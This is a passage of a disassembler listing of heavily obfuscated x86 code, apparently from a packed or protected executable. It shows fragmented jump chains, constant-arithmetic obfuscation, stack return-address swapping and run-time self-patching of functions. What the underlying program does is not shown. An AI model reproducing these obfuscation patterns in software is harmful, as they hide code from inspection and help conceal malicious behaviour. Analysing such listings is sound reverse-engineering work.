; START	OF FUNCTION CHUNK FOR sub_4394F3

loc_439575:				; CODE XREF: sub_4394F3:loc_440F65j
		add	ebx, 5D341593h

loc_43957B:				; CODE XREF: sub_448EB6:loc_4490FBj
		mov	ebx, [ebx]
		xchg	ebx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_4394F3
; ---------------------------------------------------------------------------

loc_439581:				; CODE XREF: y22d6.y.:004454FDj
		jmp	near ptr dword_437434+62h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B566

loc_439586:				; CODE XREF: sub_43B566+872Aj
		jmp	loc_44E0AB
; END OF FUNCTION CHUNK	FOR sub_43B566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A46F

loc_43958B:				; CODE XREF: sub_44A46F-D162j
		jmp	nullsub_216
; END OF FUNCTION CHUNK	FOR sub_44A46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_439590:				; CODE XREF: sub_43C3DD-2B30j
		jmp	loc_43AF2C
; END OF FUNCTION CHUNK	FOR sub_43C3DD

; =============== S U B	R O U T	I N E =======================================



sub_439595	proc near		; CODE XREF: sub_448EB6:loc_43C3B3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437353 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 004420DE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004482A8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044A91A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A9AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D9D7 SIZE 0000000D BYTES

		push	ebx
		mov	ebx, ebp
		jmp	loc_44A9AD
sub_439595	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B10

loc_43959D:				; CODE XREF: sub_437B10+2962j
		xchg	ecx, [esp+4+var_4]
		jmp	loc_447DAC
; END OF FUNCTION CHUNK	FOR sub_437B10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABDD

loc_4395A5:				; CODE XREF: sub_44ABDD:loc_43FC0Fj
		mov	ecx, ebp
		push	offset sub_443906
		jmp	loc_43A419
; END OF FUNCTION CHUNK	FOR sub_44ABDD

; =============== S U B	R O U T	I N E =======================================



sub_4395B1	proc near		; CODE XREF: y22d6.y.:004461D6j
					; sub_44D088+Cp

; FUNCTION CHUNK AT 004412BB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C1DB SIZE 00000002 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		jmp	loc_4412BB
sub_4395B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4395C6:				; CODE XREF: y22d6.y.:00449FA9j
		jz	loc_43AEEF
; START	OF FUNCTION CHUNK FOR sub_43ED4E

loc_4395CC:				; CODE XREF: sub_43ED4E+11j
		jmp	loc_44B8C9
; END OF FUNCTION CHUNK	FOR sub_43ED4E
; ---------------------------------------------------------------------------
		sbb	eax, 0DA0BDB3h

loc_4395D7:				; CODE XREF: y22d6.y.:loc_44B037j
		jmp	loc_43AEE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_4395DC:				; CODE XREF: sub_44D7E0:loc_43AC18j
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+4+var_4]
		call	sub_43E913
		jmp	loc_437853
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B39

loc_4395EF:				; CODE XREF: sub_438B39+Fj
		jz	loc_439AF8
		jmp	loc_43D273
; END OF FUNCTION CHUNK	FOR sub_438B39
; ---------------------------------------------------------------------------

loc_4395FA:				; CODE XREF: y22d6.y.:0044CC37j
		call	sub_44B06F
		mov	eax, 6A74FD15h
		push	esi
		push	0DA73387Ah
		pop	esi
		sub	esi, 7E248669h
		xor	esi, 6EC919F6h
		jmp	loc_43A33A
; ---------------------------------------------------------------------------

locret_43961C:				; CODE XREF: y22d6.y.:004417ECj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408F2

loc_43961D:				; CODE XREF: sub_4408F2:loc_44E40Dj
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		call	sub_43D9D2

loc_439628:				; CODE XREF: y22d6.y.:00447C1Fj
		jmp	sub_444427
; END OF FUNCTION CHUNK	FOR sub_4408F2
; ---------------------------------------------------------------------------
		mov	ds:off_41E0C0, eax
		lea	eax, sub_43DA98
		mov	byte ptr [eax],	0C3h
		jmp	sub_43DA98
; ---------------------------------------------------------------------------

loc_439641:				; CODE XREF: y22d6.y.:0043E901j
		push	offset sub_43FC5D
		jmp	loc_442AB0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43964D:				; CODE XREF: y22d6.y.:00441D72j
		jmp	loc_44B595
; ---------------------------------------------------------------------------
		mov	ds:off_41E194, eax
		lea	eax, sub_44256D
		mov	byte ptr [eax],	0C3h
		jmp	sub_44256D
; ---------------------------------------------------------------------------
		call	nullsub_297
		jmp	ds:dword_41E198
; ---------------------------------------------------------------------------
		xchg	edx, ebp
		jmp	sub_44146B
; ---------------------------------------------------------------------------

loc_439678:				; CODE XREF: y22d6.y.:0043C748j
		pop	esi
		jmp	loc_43AAEA
; ---------------------------------------------------------------------------

loc_43967E:				; CODE XREF: y22d6.y.:0044DB39j
		jz	loc_43CA7C
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439684:				; CODE XREF: sub_448EB6-8895j
		jmp	loc_441122
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BF91

loc_439689:				; CODE XREF: sub_44BF91-144F5j
		jmp	loc_44D57F
; END OF FUNCTION CHUNK	FOR sub_44BF91
; ---------------------------------------------------------------------------
		ja	loc_44BCBD
		mov	ebp, [ecx]
		cdq
		jmp	loc_43CA78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43969C:				; CODE XREF: sub_4432B8+2FAj
		call	sub_43E625

loc_4396A1:				; CODE XREF: sub_4448C7-4CE2j
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_4396A3:				; CODE XREF: sub_43FBC3-5C2Cj
		rol	eax, 4
		push	eax
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------

loc_4396AD:				; CODE XREF: y22d6.y.:0043F478j
		jmp	loc_43FDCF

; =============== S U B	R O U T	I N E =======================================



sub_4396B2	proc near		; CODE XREF: sub_44DB81-15AABp
					; y22d6.y.:00438B84j ...

; FUNCTION CHUNK AT 004427E6 SIZE 00000005 BYTES

		push	ebp
		push	offset loc_43D4B7
		jmp	loc_4427E6
sub_4396B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_4396BD:				; CODE XREF: sub_44BCC2+1j
		push	4013B6BDh
		pop	edx
		and	edx, 2B17764Dh
		jnz	loc_443FCE

loc_4396CF:				; CODE XREF: sub_44BCC2-A72Ej
		jmp	loc_43AA1F
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DABB

loc_4396D4:				; CODE XREF: sub_43DABB+Dj
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_43DABB
; ---------------------------------------------------------------------------
		xor	ecx, 0F2EDC8F9h
		jmp	loc_443FC8
; ---------------------------------------------------------------------------
		mov	edx, esi
		jmp	sub_43AD19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_4396EB:				; CODE XREF: sub_44A5E5-58FBj
		jz	loc_4371C3

loc_4396F1:				; CODE XREF: y22d6.y.:0043A9B6j
		jmp	sub_44C59C
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------
		and	edx, 0F73DAEE6h
		and	esi, 0A30D5261h
		or	edi, edx
		cmp	ebp, 4ABEA7CCh
		jmp	loc_443415
; ---------------------------------------------------------------------------

loc_43970F:				; CODE XREF: y22d6.y.:0043C093j
		pop	edi
		and	edi, 0EEECF7D4h
		add	edi, 566921C5h
		xor	edi, 78E3A748h
		cmp	edi, 0B613A5A5h
		jmp	loc_43ADA6
; ---------------------------------------------------------------------------

loc_43972D:				; DATA XREF: sub_44CD2E:loc_44CD31o
		pop	ebp
		push	0A2482A07h
		pop	eax
		xor	eax, 5B2B2FFFh
		sub	eax, ds:4000E3h
		jmp	loc_44461D
; ---------------------------------------------------------------------------

loc_439745:				; CODE XREF: y22d6.y.:004421B1j
		shr	ebp, 16h
		sbb	edx, edi
		xchg	edx, [ebx]
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43974C:				; CODE XREF: sub_44AEDA:loc_44219Aj
		add	eax, 7A046905h
		add	eax, ebp
		add	eax, 0A607D586h
		mov	eax, [eax]
		mov	dx, [eax+2]
		jmp	loc_4440D8
; END OF FUNCTION CHUNK	FOR sub_44AEDA

; =============== S U B	R O U T	I N E =======================================



sub_439765	proc near		; DATA XREF: sub_44E357-C433o
		add	eax, 6328D507h
		add	eax, ebp

loc_43976D:				; CODE XREF: y22d6.y.:loc_43D04Fj
		add	eax, 0C63FAB5h
		mov	eax, [eax]
		call	sub_445B15

loc_43977A:				; CODE XREF: y22d6.y.:0044E606j
		jmp	loc_44C527
sub_439765	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_43977F:				; CODE XREF: y22d6.y.:loc_43BCCBj
					; sub_43FAC6:loc_44CA66j
		and	ebx, 5B55C0E0h

loc_439785:				; CODE XREF: sub_4441D9+7F25j
		jnz	loc_4389A7
		sub	ecx, ebx
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43978D:				; CODE XREF: sub_44B17B:loc_440C6Dj
		test	ebx, ecx
		jmp	loc_43EF13
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_439794:				; CODE XREF: y22d6.y.:0043C7B6j
		or	eax, 0EB4349EFh

; =============== S U B	R O U T	I N E =======================================



sub_43979A	proc near		; CODE XREF: sub_444871-3EEFp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00443E37 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 56ECA621h
		xchg	eax, [esp-4+arg_0]
		jmp	loc_443E37
sub_43979A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ecx, [edi]
		jmp	sub_43B035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_4397B3:				; CODE XREF: sub_438A94+8j
		pop	ebx
		rol	ebx, 0Eh
		or	ebx, 98359E76h
		rol	ebx, 0Fh
		jmp	loc_444918
; END OF FUNCTION CHUNK	FOR sub_438A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_4397C5:				; CODE XREF: sub_449641:loc_43F6E0j
		and	eax, 85F86FB6h
		and	ebx, ecx
		jmp	loc_43DDA5
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		mov	[ecx], ebx
		jmp	sub_43991F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_4397D9:				; CODE XREF: sub_437B01+4j
					; sub_437B01+2E65j ...
		jmp	loc_445A3B
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_4397DE:				; CODE XREF: sub_4450FD-C674j
					; sub_437B01+5B9Cj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44617A

loc_4397E1:				; CODE XREF: sub_44617A+9j
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_44617A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4397E6	proc near		; CODE XREF: sub_44B06F:loc_43731Dj
					; y22d6.y.:004393C2p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437348 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449FBC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B68E SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_437348
sub_4397E6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_4397EE:				; CODE XREF: sub_4416CB:loc_44E2A5j
		add	esi, 84BF2206h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_43E009
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
		jmp	loc_40E1B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_439801:				; CODE XREF: sub_44439D+Bj
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_439806:				; CODE XREF: sub_43D20E+2611j
		jmp	loc_438284
; END OF FUNCTION CHUNK	FOR sub_43D20E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ebp, esp
		jmp	loc_43A863
; ---------------------------------------------------------------------------
		mov	esi, ebp
		jmp	sub_43CFF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43981A:				; CODE XREF: sub_448EB6:loc_4428A0j
		pop	esi
		ror	eax, 12h
		sub	eax, 92686A55h
		mov	edx, [esp-8+arg_4]
		push	offset loc_438748
		jmp	nullsub_336
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408CF

loc_439832:				; CODE XREF: sub_4408CF+8A6Aj
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_4408CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_439837:				; CODE XREF: sub_43F501+1D27j
		jmp	loc_448EC9
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------

loc_43983C:				; CODE XREF: y22d6.y.:0044BB10j
		jz	loc_43ED6A
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_439842:				; CODE XREF: sub_44AEDA+106Dj
		jmp	loc_43FE8E
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_439847:				; CODE XREF: sub_442856+10j
		jmp	loc_44E47F
; END OF FUNCTION CHUNK	FOR sub_442856
; ---------------------------------------------------------------------------
		ror	esi, 16h
		cmp	ecx, 79465E6Fh
		jmp	loc_43BCCB
; ---------------------------------------------------------------------------

loc_43985A:				; DATA XREF: sub_4432B8:loc_44B0DBo
		xchg	eax, [esp]
		jmp	sub_43F7FF
; ---------------------------------------------------------------------------
		push	edx
		push	0AC94BACFh
		pop	edx
		jmp	loc_43F143
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_43986E:				; CODE XREF: sub_444427+3EE0j
		push	esi
		push	0C2C489E4h
		pop	esi
		or	esi, ds:4000E3h
		cmp	esi, 8A6ADE56h
		jmp	loc_43FCA6
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD42

loc_439886:				; CODE XREF: sub_43DD42:loc_44C550j
		xor	edx, edx
		push	edx
		push	offset loc_44CA7A
		jmp	nullsub_211
; END OF FUNCTION CHUNK	FOR sub_43DD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B71

loc_439893:				; CODE XREF: sub_448B71:loc_44D7FAj
		test	eax, 100000h
		jmp	loc_4446B3
; END OF FUNCTION CHUNK	FOR sub_448B71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_43989E:				; CODE XREF: sub_43C3DD+Ej
		pop	edi
		mov	eax, ds:dword_44183C
		or	eax, eax
		jnz	loc_43BA94
		jmp	loc_439590
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4398B3:				; CODE XREF: sub_44B17B-FF7Fj
		jmp	loc_44B30C
; END OF FUNCTION CHUNK	FOR sub_44B17B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4398B9:				; CODE XREF: y22d6.y.:00437DFEj
		jmp	locret_440B40
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44256D

loc_4398BF:				; CODE XREF: sub_44256D-19C8j
		jmp	loc_445D7F
; END OF FUNCTION CHUNK	FOR sub_44256D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4398C5:				; CODE XREF: y22d6.y.:0043C765j
		jmp	loc_44424F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_4398CA:				; CODE XREF: sub_439051+70E5j
		jnz	loc_43C7EA
		cdq
		popf

loc_4398D2:				; CODE XREF: sub_442FA7:loc_439006j
		jmp	loc_445978
; END OF FUNCTION CHUNK	FOR sub_439051
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4398D8:				; CODE XREF: sub_4432B8:loc_437F19j
					; sub_44D371-FCBBj
		jmp	loc_43E863
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4387EA

loc_4398DD:				; CODE XREF: sub_4387EA+12j
		jmp	loc_441162
; END OF FUNCTION CHUNK	FOR sub_4387EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_4398E2:				; CODE XREF: sub_43E86C:loc_445CDBj
		mov	ebp, esp
		push	ecx
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+0Ch+var_C]
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		jmp	loc_44372B
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4398F5:				; CODE XREF: sub_448EB6+49DDj
		mov	eax, offset dword_43C9BC
		jmp	loc_438E20
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_4398FF	proc near		; CODE XREF: sub_447CBE+267j
					; sub_44B1D2:loc_44A045j

var_34		= dword	ptr -34h

; FUNCTION CHUNK AT 004429A2 SIZE 00000017 BYTES

		add	esp, 0FFFFFFD0h
		mov	eax, 12h
		push	edx
		push	0DF61EC21h
		pop	edx
		xor	edx, ds:4000E1h
		jnz	loc_4429A2

loc_43991A:				; CODE XREF: sub_44BCC2-3002j
		jmp	loc_43E1F2
sub_4398FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43991F	proc near		; CODE XREF: y22d6.y.:004397D4j
					; sub_44243B+A6E2p

; FUNCTION CHUNK AT 0044856C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A339 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edx, 34C4C571h
		mov	edx, [edx]
		jmp	loc_44A339
sub_43991F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439930:				; CODE XREF: y22d6.y.:00440AB1j
		xchg	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_439932	proc near		; CODE XREF: sub_44A8FD+13p

; FUNCTION CHUNK AT 00438FCA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A5C1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043CBC8 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jz	loc_438FCA
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_43A5C1
sub_439932	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439945	proc near		; CODE XREF: sub_447268:loc_439CE5p
					; y22d6.y.:004440A2j
		xchg	eax, [esp+0]
		pop	eax
		push	edx
		push	offset loc_43F784
		jmp	nullsub_20
sub_439945	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439954:				; CODE XREF: sub_448EB6:loc_438C48j
		call	sub_43CA1A
		mov	ds:dword_41E11C, eax
		lea	eax, nullsub_324
		mov	byte ptr [eax],	0C3h
		jmp	loc_4459E2
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		jmp	loc_439C1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438BEC

loc_439975:				; CODE XREF: sub_438BEC+7j
		test	byte ptr [eax-10h], 38h
		jnz	loc_443ABE
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h

loc_43998D:				; CODE XREF: sub_43B98D:loc_44C4CDj
		setz	al
		jmp	loc_441E91
; END OF FUNCTION CHUNK	FOR sub_438BEC
; ---------------------------------------------------------------------------
		push	0BAD6CA39h
		pop	eax
		sub	eax, 0B2A50193h
		xor	eax, 742A49ADh
		add	eax, 91B643E7h
		push	esi
		jmp	loc_44BC6B
; ---------------------------------------------------------------------------
		and	eax, 488AE410h
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_4399B9:				; CODE XREF: sub_43704E+15291j
		rol	eax, 0Ch
		push	offset sub_43910C
		jmp	loc_44BFAF
; END OF FUNCTION CHUNK	FOR sub_43704E

; =============== S U B	R O U T	I N E =======================================



sub_4399C6	proc near		; DATA XREF: y22d6.y.:00442190o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004377D6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00440F79 SIZE 00000005 BYTES

		mov	eax, [esp+0]
		push	edx
		call	sub_44B267
		mov	eax, 5389CFC1h
		push	ebp
		jmp	loc_4377D6
sub_4399C6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4399DA:				; CODE XREF: sub_4432B8+2011j
		jz	loc_43BE59
		jmp	loc_437E96
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E18

loc_4399E5:				; CODE XREF: sub_448E18+Ej
		mov	eax, ds:dword_44659C
		push	offset loc_43D09B

loc_4399EF:				; CODE XREF: y22d6.y.:0043B713j
		jmp	loc_44C9E6
; END OF FUNCTION CHUNK	FOR sub_448E18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_4399F4:				; CODE XREF: sub_4422AA:loc_44B6D8j
					; sub_4422AA+943Bj
		rol	ecx, 0Eh
		add	ecx, 0B653A636h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_44B267
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_439A05:				; CODE XREF: sub_4452EE-B66Bj
		jge	loc_443A69
		pushf
		jmp	loc_44DD0C
; END OF FUNCTION CHUNK	FOR sub_4452EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_439A12:				; CODE XREF: sub_44807C:loc_443EE2j
		mov	[ecx], eax
		pop	ecx
		pushf
		push	0C6AAFC78h
		pop	eax
		sub	eax, 0EB992CECh
		xor	eax, 0E63E4F18h
		jmp	loc_437BDA
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_439A2D:				; CODE XREF: sub_439051:loc_442F40j
		push	eax
		mov	eax, edx
		call	sub_4483BF
		mov	eax, [esp-4+arg_0]
		push	ecx
		push	36E0ADBEh
		jmp	loc_4391D3
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------

loc_439A43:				; CODE XREF: y22d6.y.:00437E07j
		jz	loc_43E2F7
		not	edi
		xchg	edx, ebx
; START	OF FUNCTION CHUNK FOR sub_444581

loc_439A4D:				; CODE XREF: sub_444581:loc_441BE3j
		add	ecx, 0DA3E88A4h

loc_439A53:				; CODE XREF: sub_44E5C7:loc_43E6A6j
		xchg	ecx, [esp+0]
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------

loc_439A5B:				; CODE XREF: y22d6.y.:0044DB0Cj
		adc	ecx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_439A5D	proc near		; CODE XREF: sub_43BD44+10FE0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043FED2 SIZE 00000020 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebp, [esp-4+arg_0]
		mov	edi, ebp
		pop	ebp
		sub	edi, 4160E384h
		jmp	loc_43FED2
sub_439A5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439A72:				; CODE XREF: y22d6.y.:004380F0j
		ja	loc_43F912

; =============== S U B	R O U T	I N E =======================================



sub_439A78	proc near		; CODE XREF: sub_44271A+BAC3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EB33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004411A9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044272A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00448E0E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pushf
		jmp	loc_4411A9
sub_439A78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_439A82:				; CODE XREF: sub_438A94:loc_444918j
		add	ebx, 108907BAh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_446405
; END OF FUNCTION CHUNK	FOR sub_438A94

; =============== S U B	R O U T	I N E =======================================



sub_439A90	proc near		; CODE XREF: sub_44C758:loc_4426FDp
					; y22d6.y.:0044A809j

; FUNCTION CHUNK AT 0043BBAC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E134 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442B3B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00446441 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004474BD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044BEE4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C538 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C831 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CFCF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E5BA SIZE 00000007 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [eax]
		popf
		mov	al, [eax]
		jo	loc_44BEE4
		sub	al, 99h
		push	9AEBD2Eh
		jmp	loc_446441
sub_439A90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_439AAB:				; CODE XREF: sub_43CFF2:loc_44E1E7j
		push	7BF4D27Ch
		pop	edx
		rol	edx, 0Dh
		sub	edx, 4F8378D8h
		rol	edx, 1Dh
		add	edx, 6FEA28E3h
		xor	eax, edx
		jmp	loc_445067
; END OF FUNCTION CHUNK	FOR sub_43CFF2

; =============== S U B	R O U T	I N E =======================================



sub_439ACA	proc near		; CODE XREF: sub_449641-A3B2p
					; y22d6.y.:0044BFEAj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xchg	edx, [esp+0]
		pop	edx
		mov	[edi], eax
		pop	edi
		lea	eax, sub_4419CC
		mov	byte ptr [eax],	0C3h
		jmp	sub_4419CC
sub_439ACA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4419CC

loc_439ADF:				; CODE XREF: sub_4419CC+1j
		mov	eax, [esp+0]
		jmp	loc_43FD2C
; END OF FUNCTION CHUNK	FOR sub_4419CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA9E

loc_439AE7:				; CODE XREF: sub_43BA9E:loc_4482B8j
		mov	edx, edi
		jmp	loc_4452CE
